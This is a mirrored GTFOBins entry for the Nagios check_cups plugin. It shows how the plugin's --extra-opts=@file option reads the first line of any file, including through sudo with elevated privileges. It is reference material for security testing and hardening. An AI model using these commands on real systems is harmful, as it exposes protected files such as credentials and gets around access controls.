mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-27 07:18:48 +01:00
14 lines
362 B
Markdown
14 lines
362 B
Markdown
---
|
|
description: |
|
|
This is the `check_cups` Nagios plugin, available e.g. in `/usr/lib/nagios/plugins/`. The read file content is limited to the first line.
|
|
functions:
|
|
file-read:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
check_cups --extra-opts=@$LFILE
|
|
sudo:
|
|
- code: |
|
|
LFILE=file_to_read
|
|
sudo check_cups --extra-opts=@$LFILE
|
|
---
|